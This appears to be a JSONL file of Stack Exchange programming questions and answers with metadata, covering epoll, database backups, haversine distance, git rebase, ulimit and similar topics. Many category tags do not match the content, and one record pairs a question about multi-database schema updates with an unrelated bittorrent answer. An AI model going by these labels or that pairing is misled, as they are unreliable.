{"id": "hf_57aeda164961", "question": "<p>I need to know about Epoll On linux System.</p>\n\n<p>Could you recommend manual or guides about epoll library?</p>\n\n<p>need more detailed guides. it's better to have some examples.</p>\n\n<p>help me. and Thank you for reading.</p>\n", "question_body": "", "answer": "Here's an introduction to Epoll, a pretty basic tutorial:\nhttp://blog.kovyrin.net/2006/04/13/epoll-asynchronous-network-programming/\nA more complete example can be found here:\nhttps://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/\nAlso,\nthe man pages", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:20.115326"}
{"id": "hf_39b1f56c7307", "question": "<p>Is there a rake task for backing up the data in your database? </p>\n\n<p>I already have my schema backed up, but I want to make a backup of the data. It's a small MySQL database. </p>\n", "question_body": "", "answer": "The below script is a simplified version taken from\neycap\n, specifically from\nthis file\n.\n```\n```\nset :dbuser \"user\"\nset :dbhost \"host\"\nset :database \"db\"\n\nnamespace :db do\n  desc \"Get the database password from user\"\n  task :get_password do\n    set(:dbpass) do\n      Capistrano::CLI.ui.ask \"Enter mysql password: \"\n    end\n  end\n\n  task :backup_name, :only => { :primary => true } do\n    now = Time.now\n    run \"mkdir -p #{shared_path}/db_backups\"\n    backup_time = [now.year,now.month,now.day,now.hour,now.min,now.sec].join('-')\n    set :backup_file, \"#{shared_path}/db_backups/#{database}-snapshot-#{backup_time}.sql\"\n  end\n\n  desc \"Dump database to backup file\"\n  task :dump, :roles => :db, :only => {:primary => true} do\n    backup_name\n    run \"mysqldump --add-drop-table -u #{dbuser} -h #{dbhost} -p#{dbpass} #{database} | bzip2 -c > #{backup_file}.bz2\"\n  end\nend\n```\n```\nEdit: Yeah, I guess I missed the point that you were looking for a rake task and not a capistrano task, but I don't have a rake one on hand, sorry.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:20.298625"}
{"id": "hf_c918930ff3a3", "question": "<p>My goal is to maintain a web file server separately from my main ASP.NET application server for better scalability. The web file server will store a lot of files downloaded by users.<br>\nSo the question is: Is it worth to adopt FreeBSD + Apache + ZFS, or will good old IIS be сonvenient enough?</p>\n", "question_body": "", "answer": "I understand you will serve only static files. In this case, lightweight HTTP servers will give you a higher performance for a given machine. The following are well known:\nLighttpd\nThttpd\nNginx\nMany more are listed on\nWikipedia\n. There's a more recent\narticle\non IBM DeveloperWorks.", "tags": ["nginx"], "source": "huggingface", "category": "nginx", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:20.510620"}
{"id": "hf_829e2f62f9e3", "question": "<p>How do I calculate the distance between two points specified by latitude and longitude?</p>\n\n<p>For clarification, I'd like the distance in kilometers; the points use the WGS84 system and I'd like to understand the relative accuracies of the approaches available.</p>\n", "question_body": "", "answer": "This\nlink\nmight be helpful to you, as it details the use of the\nHaversine formula\nto calculate the distance.\nExcerpt:\nThis script [in Javascript] calculates great-circle distances between the two points –\n  that is, the shortest distance over the earth’s surface – using the\n  ‘Haversine’ formula.\n```\n```\nfunction getDistanceFromLatLonInKm(lat1,lon1,lat2,lon2) {\n  var R = 6371; // Radius of the earth in km\n  var dLat = deg2rad(lat2-lat1);  // deg2rad below\n  var dLon = deg2rad(lon2-lon1); \n  var a = \n    Math.sin(dLat/2) * Math.sin(dLat/2) +\n    Math.cos(deg2rad(lat1)) * Math.cos(deg2rad(lat2)) * \n    Math.sin(dLon/2) * Math.sin(dLon/2)\n    ; \n  var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); \n  var d = R * c; // Distance in km\n  return d;\n}\n\nfunction deg2rad(deg) {\n  return deg * (Math.PI/180)\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:20.668886"}
{"id": "hf_4cac6c8a9d77", "question": "<p>We often hear/read that one should avoid dynamic casting. I was wondering what would be 'good use' examples of it, according to you?</p>\n\n<p>Edit:</p>\n\n<p>Yes, I'm aware of <a href=\"https://stackoverflow.com/questions/28002/regular-cast-vs-staticcast-vs-dynamiccast\">that other thread</a>: it is indeed when reading one of the first answers there that I asked my question!</p>\n", "question_body": "", "answer": "My current toy project uses dynamic_cast twice; once to work around the lack of multiple dispatch in C++ (it's a visitor-style system that could use multiple dispatch instead of the dynamic_casts), and once to special-case a specific subtype.\nBoth of these are acceptable, in my view, though the former at least stems from a language deficit.  I think this may be a common situation, in fact; most dynamic_casts (and a great many \"design patterns\" in general) are workarounds for specific language flaws rather than something that aim for.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:20.794275"}
{"id": "hf_819951ec2730", "question": "<p>What do you think the future of GPU as a CPU initiatives like CUDA are? Do you think they are going to become mainstream and be the next adopted fad in the industry? Apple is building a new framework for using the GPU to do CPU tasks and there has been alot of success in the Nvidias CUDA project in the sciences. Would you suggest that a student commit time into this field?</p>\n", "question_body": "", "answer": "I think it's the right way to go.\nConsidering that\nGPUs have been tapped to create cheap supercomputers\n, it appears to be the natural evolution of things. With so much computing power and R&D already done for you, why not exploit the available technology?\nSo go ahead and do it. It will make for some cool research, as well as a legit reason to buy that high-end graphic card so you can play Crysis and Assassin's Creed on full graphic detail ;)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:20.924679"}
{"id": "hf_ebf908c5087f", "question": "<p>What Windows code editors allow the use of <a href=\"https://en.wikipedia.org/wiki/Tab_stop#Elastic_tabstops\" rel=\"nofollow noreferrer\">elastic tabstops</a>, either natively or through a plugin?</p>\n\n<p>I know about a gedit plugin, but it only works on Linux.</p>\n", "question_body": "", "answer": "I did quite a bit of googling trying to find this answer. There are plenty of people asking for it:\nhttp://developers.slashdot.org/comments.pl?sid=414610&cid=21996944\nhttp://www.arguingwithmyself.com/archives/75-the-biggest-feature-your-editor-is-missing\nhttp://intype.info/blog/screencast-parser-in-editor/#comment-221\nhttp://codewords.wordpress.com/2006/10/16/eclipses-achilles-heel/\njust to name a few...\nso I don't think one exists yet, sorry :(", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:21.090198"}
{"id": "hf_3e1cae69340c", "question": "<p>In Eclipse 3.2.2 on Linux content assist is not finding classes within the same project. Upgrading above 3.2 is not an option as SWT is not available above 3.2 for Solaris.</p>\n\n<p>I have seen suggestions to clean the workspace, reopen the workspace, run eclipse with the <code>-clean</code> command, none of which has worked.</p>\n", "question_body": "", "answer": "Go to Java/Editor/Content Assist/Advanced in Preferences, and make sure that the correct proposal kinds are selected. Same kind of thing happened to me when I first moved to 3.4.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:21.243451"}
{"id": "hf_4ff31513a987", "question": "<p>My university is part of MSDNAA, so I downloaded it a while back, but I just got around to installing it. I guess part of it replaces FrontPage for web editing, and there appears to be a video editor and a vector graphics editor, but I don't think I've even scratched the surface of what it is and what it can do. Could someone enlighten me, especially since I haven't found an \"Expression Studio for Dummies\" type website.</p>\n", "question_body": "", "answer": "From\nWikipedia\n:\nMicrosoft Expression Studio is a suite of design and media applications from Microsoft aimed at developers and designers. It consists of:\nMicrosoft Expression Web (code-named Quartz) - WYSIWYG website designer and HTML editor.\nMicrosoft Expression Blend (code-named Sparkle) - Visual user interface builder for Windows Presentation Foundation and Silverlight applications.\nMicrosoft Expression Design (code-named Acrylic) - Raster and vector graphics editor.\nMicrosoft Expression Media - Digital asset and media manager.\nMicrosoft Expression Encoder - VC-1 content professional encoder.\nFor web development Expression Web is useful. For XAML development, Blend and Design are useful.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:21.364019"}
{"id": "hf_1cff4ad0fe3e", "question": "<p>Let's say I'm creating a program in C that needs to use a tempfile. Creating an ad hoc tempfile in /tmp is probably not a good idea. Is there a function or OS call to supply me with a tempfile name so that I can begin to write and read from it?</p>\n", "question_body": "", "answer": "You can use the\n```\nmkstemp(3)\n```\nfunction for this purpose. Another alternative is the\n```\ntmpfile(3)\n```\nfunction.\nWhich one of them you choose depends on whether you want the file to be opened as a C library file stream (which\n```\ntmpfile\n```\ndoes), or a direct file descriptor (\n```\nmkstemp\n```\n). The\n```\ntmpfile\n```\nfunction also deletes the file automatically when you program finishes.\nThe advantage of using these functions is that they avoid race conditions between determining the unique filename and creating the file -- so that two programs won't try to create the same file at the same time, for example.\nSee the man pages for both functions for more details.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:21.562135"}
{"id": "hf_50032a29de5d", "question": "<p>Can anyone recommend a good repository viewer for Git, similar to gitk, that works on Mac OS X Leopard? (I'm not saying gitk doesn't work)</p>\n\n<p>Of course I would like a native Mac application, but as I haven't found any, what are the best options to gitk?</p>\n\n<p>I know about gitview, but I'm looking forward to evaluate as many alternatives as possible.</p>\n\n<p><a href=\"http://sourceforge.net/projects/gitview\" rel=\"noreferrer\">http://sourceforge.net/projects/gitview</a></p>\n", "question_body": "", "answer": "There are a couple under development.\nGitNub\nGitty\n(404, dead project)\nI don't know if there are any that have hit 1.0.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:21.695612"}
{"id": "hf_aec6fa0445e4", "question": "<p>Has anyone ever set up Cruise Control to build an OS X Cocoa/Objective-C project?</p>\n\n<p>If so, is there a preferred flavor of CruiseControl (CruiseControl.rb or just regular CruiseControl) that would be easier to do this with. </p>\n\n<p>I currently have a Ruby rake file that has steps for doing building and running tests, and wanted to automate this process after doing a checkin.  </p>\n\n<p>Also, does CruiseControl have support for git?  I couldn't find anything on the website for this.</p>\n", "question_body": "", "answer": "Yes, you just run xcode builds via the command line (xcodebuild) which makes it simple to target from CC via an ant\n```\n<exec>\n```\n. I've been using just regular CC, not the ruby version and it works fine. Here's a barebones example:\n```\n```\n<project name=\"cocoathing\" default=\"build\">\n  <target name=\"build\">\n    <exec executable=\"xcodebuild\" dir=\"CocoaThing\" failonerror=\"true\">\n      <arg line=\"-target CocoaThing -buildstyle Deployment build\" />\n    </exec>\n  </target>\n</project>\n```\n```\nMore info on xcodebuild\nAnd there does appear to be a standard git object\nhere\n, but I don't use git so I can't tell you much more than that!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:21.934483"}
{"id": "hf_c7635f4b4c10", "question": "<p>How can you get the version information from a <code>.dll</code> or <code>.exe</code> file in PowerShell?</p>\n\n<p>I am specifically interested in <code>File Version</code>, though other version information (that is, <code>Company</code>, <code>Language</code>, <code>Product Name</code>, etc.) would be helpful as well.</p>\n", "question_body": "", "answer": "```\n```\n[System.Diagnostics.FileVersionInfo]::GetVersionInfo(\"Path\\To\\File.dll\")\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:22.075715"}
{"id": "hf_c086160844a2", "question": "<p>Is there a good, native Mac tool to view Mercurial repositories, similar to gitnub for Git?</p>\n", "question_body": "", "answer": "You can use the one \"built in\",\n```\nhg view\n```\n. You'll need\n```\nTCL\n```\ninstalled though.\nFrom the documentation:\nThe hgk Tcl script is a direct port of the gitk tool used with git. The hgk.py extension allows hgk to interact with mercurial in a git-like manner.\nedit\n@\nMatthew\n: yeah, that's why I linked to the documentation that explains it. You need to enable it in your .hgrc (like the\n```\nfetch\n```\ncommand), and TCL --as mentioned.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:22.187172"}
{"id": "hf_4c13db988100", "question": "<p>The HTML standard defines a clear separation of concerns between CSS (presentation) and HTML (semantics or structure).</p>\n\n<p>Does anyone use a coding standards document for CSS and XHTML that has clauses which help to maintain this separation? What would be good clauses to include in such a coding standards document?</p>\n", "question_body": "", "answer": "We don't have a physical document we all adhere to where I work. There are a number of guidelines we try and keep in mind but there isn't really enough information to require a physcial document.\nThis article\nsums them up these guidelines pretty well.  You may also consider formatting your\n```\nCSS\n```\nto make it easier to read.\nSmashing Magazine\nhas a great article on this subject.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:22.376877"}
{"id": "hf_5f63e4502fb2", "question": "<p>I'm not sure whether I'm asking the question correctly, but I've been told SQL Server cannot run on a Novell server. Is this true? If yes, why not?</p>\n", "question_body": "", "answer": "You may have to be more specific about what a \"novell server\" is.  From what I understand, Novell servers run some form of Suse linux.  Sql Server is a windows only product.\nMy company, however, does have clients that run Novell networks, and we do run Sql Servers on their network.  But they're hosted on a win box...", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:22.591387"}
{"id": "hf_571c137f667a", "question": "<p>I'm new to SVN and I'd like to know what methods are available for backing up repositories in a Windows environment?</p>\n", "question_body": "", "answer": "I like to just copy the entire repo directory to my backup location.  That way, if something happens, you can just copy the directory back and be ready to go immediately.\nJust make sure to preserve permissions, if needed.  Usually, this is only a concern on Linux machines.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:22.804022"}
{"id": "hf_e0fbb231c88a", "question": "<p>I played with one of the early beta versions of PowerShell V1, but haven't used it since it went \"gold\". What is the best way to get started using PowerShell?</p>\n\n<p>Which version of PowerShell should I be using (V1.0 vs 2.0 CTP's)? What are you using PowerShell for? Are there any tools that make using PowerShell easier (that is, development environments)?</p>\n", "question_body": "", "answer": "There are a number of PowerShell tools, for example,\nPowerGUI\nPowerShell Plus\n(not free)\nPowerShell in Action\nis a well-regarded book.\nAnd the Powershell team\nhas a blog\n.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:22.975499"}
{"id": "hf_ec4f37019756", "question": "<p>Does anyone know of a powershell cmdlet out there for automating task scheduler in XP/2003?  If you've ever tried to work w/ schtasks you know it's pretty painful.</p>\n", "question_body": "", "answer": "You don't need PowerShell to automate the Task Scheduler, you can use the SCHTASKS command in XP.\nAccording to\nWikipedia\n, the Task Scheduler 2.0 (Vista and Server 2008) is accesible via COM.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:23.149087"}
{"id": "hf_5abe9e101f69", "question": "<p>When running my application I sometimes get an error about <code>too many files open</code>.</p>\n\n<p>Running <code>ulimit -a</code> reports that the limit is 1024.  How do I increase the limit above 1024?  </p>\n\n<p><strong>Edit</strong>\n<code>ulimit -n 2048</code> results in a permission error.</p>\n", "question_body": "", "answer": "You could always try doing a\n```\nulimit -n 2048\n```\n.  This will only reset the limit for your current shell and the number you specify must not exceed the hard limit\nEach operating system has a different hard limit setup in a configuration file.  For instance, the hard open file limit on Solaris can be set on boot from /etc/system.\n```\n```\nset rlim_fd_max = 166384\nset rlim_fd_cur = 8192\n```\n```\nOn OS X, this same data must be set in /etc/sysctl.conf.\n```\n```\nkern.maxfilesperproc=166384\nkern.maxfiles=8192\n```\n```\nUnder Linux, these settings are often in /etc/security/limits.conf.\nThere are two kinds of limits:\nsoft\nlimits are simply the currently enforced limits\nhard\nlimits mark the maximum value which cannot be exceeded by setting a soft limit\nSoft limits could be set by any user while hard limits are changeable only by root.\nLimits are a property of a process. They are inherited when a child process is created so system-wide limits should be set during the system initialization in init scripts and user limits should be set during user login for example by using pam_limits.\nThere are often defaults set when the machine boots.  So, even though you may reset your ulimit in an individual shell, you may find that it resets back to the previous value on reboot.  You may want to grep your boot scripts for the existence ulimit commands if you want to change the default.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:23.423022"}
{"id": "hf_86f6e59274db", "question": "<p>I have a directory with PDF files that I need to create an index for. It is a PHP page with a list of links:</p>\n\n<pre><code>&lt;A HREF=\"path to file\"&gt;filename&lt;/A&gt;\n</code></pre>\n\n<p>The filenames can be complicated:</p>\n\n<pre><code>LVD 2-1133 - Ändring av dumpningslina (1984-11-20).pdf\n</code></pre>\n\n<p>What is the correct way to link to this file on a Linux/Apache server?</p>\n\n<p>Is there a PHP function to do this conversion?</p>\n", "question_body": "", "answer": "urlencode()\nshould probably do what you want.\nEdit\n: urlencode() works fine on swedish characters.\n```\n```\n<?php\n        echo urlencode(\"åäö\");   \n    ?>\n```\n```\nconverts to:\n```\n```\n%E5%E4%F6\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:23.601914"}
{"id": "hf_571960f93136", "question": "<p>How, if you have a database per client of a web application instead of one database used by all clients, do you go about providing updates and enhancements to all databases efficiently?</p>\n\n<p>How do you roll out changes to schema and code in such a scenario?</p>\n", "question_body": "", "answer": "bittorrent\n?\nThere have been a few web-based versions already (\nbitlet\n,\nw3btorrent\n), and\nAzureus\nwas built using java, so it's definitely possible.\nEdit: @TonyB is it limited to port 80?", "tags": ["azure"], "source": "huggingface", "category": "azure", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:23.779423"}
{"id": "hf_e983f9050bf9", "question": "<p>What is the best way to create fluid width/height rounded corners with jQuery?</p>\n\n<hr>\n\n<p>That plugin doesn't keep the height the same.  I have a 10px high div that I want to round the corners on, when I use that script it adds about 10px onto whats there.</p>\n", "question_body": "", "answer": "```\n```\n$(this).corner();\n```\n```\nSee:\nmalsup.com/jquery/corner\nand\ngithub repository for future ref", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:23.949637"}
{"id": "hf_4a423153a2e6", "question": "<p>What things should be kept most in mind when writing cross-platform applications in C? Targeted platforms: 32-bit Intel based PC, Mac, and Linux. I'm especially looking for the type of versatility that Jungle Disk has in their USB desktop edition ( <a href=\"http://www.jungledisk.com/desktop/download.aspx\" rel=\"noreferrer\">http://www.jungledisk.com/desktop/download.aspx</a> )</p>\n\n<p>What are tips and \"gotchas\" for this type of development?</p>\n", "question_body": "", "answer": "Try to write as much as you can with POSIX. Mac and Linux support POSIX natively and Windows has a system that can run it (as far as I know - I've never actually used it). If your app is graphical, both Mac and Linux support X11 libraries (Linux natively, Mac through X11.app)  and there are numerous ways of getting X11 apps to run on Windows.\nHowever, if you're looking for true multi-platform deployment, you should probably switch to a language like Java or Python that's capable of running the same program on multiple systems with little or no change.\nEdit: I just downloaded the application and looked at the files. It does appear to have binaries for all 3 platforms in one directory. If your concern is in how to write apps that can be moved from machine to machine without losing settings, you should probably write all your configuration to a file in the same directory as the executable and not touch the Windows registry or create any dot directories in the home folder of the user that's running the program on Linux or Mac. And as far as creating a cross-distribution Linux binary, 32-bit POSIX/X11 would probably be the safest bet. I'm not sure what JungleDisk uses as I'm currently on a Mac.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:24.117418"}
{"id": "hf_6a6546002414", "question": "<p>I've been using git for some time now on Windows (with msysGit) and I like the idea of distributed source control. Just recently I've been looking at Mercurial (hg) and it looks interesting. However, I can't wrap my head around the differences between hg and git.</p>\n\n<p>Has anyone made a side-by-side comparison between git and hg? I'm interested to know what differs hg and git without having to jump into a fanboy discussion.</p>\n", "question_body": "", "answer": "I'm currently in the process of migrating from SVN to a DVCS (while blogging about my findings, my first real blogging effort...), and I've done a bit of research (=googling). As far as I can see you can do most of the things with both packages. It seems like git has a few more or better implemented advanced features,\nI do feel that the integration with windows is a bit better for mercurial, with TortoiseHg. I know there's Git Cheetah as well (I tried both), but the mercurial solution just feels more robust.\nSeeing how they're both open-source (right?) I don't think either will be lacking important features. If something is important, people will ask for it, people will code it.\nI think that for common practices, Git and Mercurial are more than sufficient. They both have big projects that use them (Git -> linux kernel, Mercurial -> Mozilla foundation projects, both among others of course), so I don't think either are really lacking something.\nThat being said, I am interested in what other people say about this, as it would make a great source for my blogging efforts ;-)", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:24.300962"}
{"id": "hf_2f0b58163cf5", "question": "<p>How do I get the id of my Java process? </p>\n\n<p>I know there are several platform-dependent hacks, but I would prefer a more generic solution.</p>\n", "question_body": "", "answer": "There exists no platform-independent way that can be guaranteed to work in all jvm implementations.\n```\nManagementFactory.getRuntimeMXBean().getName()\n```\nlooks like the best (closest) solution, and typically includes the PID. It's short, and\nprobably\nworks in every implementation in wide use.\nOn linux+windows it returns a value like\n```\n\"12345@hostname\"\n```\n(\n```\n12345\n```\nbeing the process id). Beware though that\naccording to the docs\n, there are no guarantees about this value:\nReturns the name representing the running Java virtual machine. The\nreturned name string can be any arbitrary string and a Java virtual\nmachine implementation can choose to embed platform-specific useful\ninformation in the returned name string. Each running virtual machine\ncould have a different name.\nIn Java 9\nthe new\nprocess API\ncan be used:\n```\n```\nlong pid = ProcessHandle.current().pid();\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:24.448440"}
{"id": "hf_0e5a88d819e8", "question": "<p>I have a list of more than 15 thousand latitude and longitude coordinates.  Given any X,Y coordinates, what is the fastest way to find the closest coordinates on the list?</p>\n", "question_body": "", "answer": "You will want to use a geometric construction called a\nVoronoi diagram\n. This divides up the plane into a number of areas, one for each point, that encompass all the points that are closest to each of your given points.\nThe code for the exact algorithms to create the Voronoi diagram and arrange the data structure lookups are too large to fit in this little edit box. :)\n@Linor: That's essentially what you would do after creating a Voronoi diagram. But instead of making a rectangular grid, you can choose dividing lines that closely match the lines of the Voronoi diagram (this way you will get fewer areas that cross dividing lines). If you recursively divide your Voronoi diagram in half along the best dividing line for each subdiagram, you can then do a tree search for each point you want to look up. This requires a bit of work up front but saves time later. Each lookup would be on the order of log N where N is the number of points. 16 comparisons is a lot better than 15,000!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:24.587175"}
{"id": "hf_789a9e33cef9", "question": "<p>I've created a few <code>autorun</code> script files on various USB devices that run <code>bash</code> scripts when they mount.  These scripts run \"in the background\", how do I get them to run in a terminal window? (Like the \"Application in Terminal\" gnome Launcher type.)</p>\n", "question_body": "", "answer": "Run them as a two stage process with your \"autorun\" script calling the second script in a new terminal eg\n```\n```\ngnome-terminal -e top --title Testing\n```\n```\nWould run the program \"top\" in a new gnome terminal window with the title \"Testing\" You can add additional arguments like setting the geometry to determine the size and location of the window checkout the man page for\ngnome-terminal\nand the \"X\" man page for more details", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:24.740841"}
{"id": "hf_baf683931c69", "question": "<p>Suppose your git history looks like this:</p>\n\n<p>1\n2\n3\n4\n5</p>\n\n<p>1–5 are separate revisions. You need to remove 3 while still keeping 1, 2, 4 and 5. How can this be done?</p>\n\n<p>Is there an efficient method when there are hundreds of revisions after the one to be deleted?</p>\n", "question_body": "", "answer": "To combine revision 3 and 4 into a single revision, you can use git rebase. If you want to remove the changes in revision 3, you need to use the edit command in the interactive rebase mode. If you want to combine the changes into a single revision, use squash.\nI have successfully used this squash technique, but have never needed to remove a revision before. The git-rebase documentation under \"Splitting commits\" should hopefully give you enough of an idea to figure it out. (Or someone else might know).\nFrom the\ngit documentation\n:\nStart it with the oldest commit you want to retain as-is:\n```\ngit rebase -i <after-this-commit>\n```\nAn editor will be fired up with all the commits in your current branch (ignoring merge commits), which come after the given commit. You can reorder the commits in this list to your heart's content, and you can remove them. The list looks more or less like this:\n```\npick deadbee The oneline of this commit\npick fa1afe1 The oneline of the next commit\n...\n```\nThe oneline descriptions are purely for your pleasure; git-rebase will not look at them but at the commit names (\"deadbee\" and \"fa1afe1\" in this example), so do not delete or edit the names.\nBy replacing the command \"pick\" with the command \"edit\", you can tell git-rebase to stop after applying that commit, so that you can edit the files and/or the commit message, amend the commit, and continue rebasing.\nIf you want to fold two or more commits into one, replace the command \"pick\" with \"squash\" for the second and subsequent commit. If the commits had different authors, it will attribute the squashed commit to the author of the first commit.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:24.996905"}
{"id": "hf_637bb98f5e46", "question": "<p>I have a set of Berkeley DB files on my Linux file system that I'd like to examine.</p>\n\n<p>What useful tools exist for getting a quick overview of the contents? I can write Perl scripts that use BDB modules for examining them, but I'm looking for some CLI utility to be able to take a look inside without having to start writing scripts.</p>\n", "question_body": "", "answer": "Check out the\ndb-utils\npackage. If you use apt, you can install it with the following:\n```\napt-get install db-util\n```\n(or\n```\napt-get install db4.8-util\n```\nor whatever version you have or prefer.)\nAdditional links:\nhttp://rpmfind.net/linux/rpm2html/search.php?query=db-utils\nhttps://packages.ubuntu.com/search?suite=default&section=all&arch=any&keywords=db-util&searchon=names\nMan page of db4.4_dump", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:25.139650"}
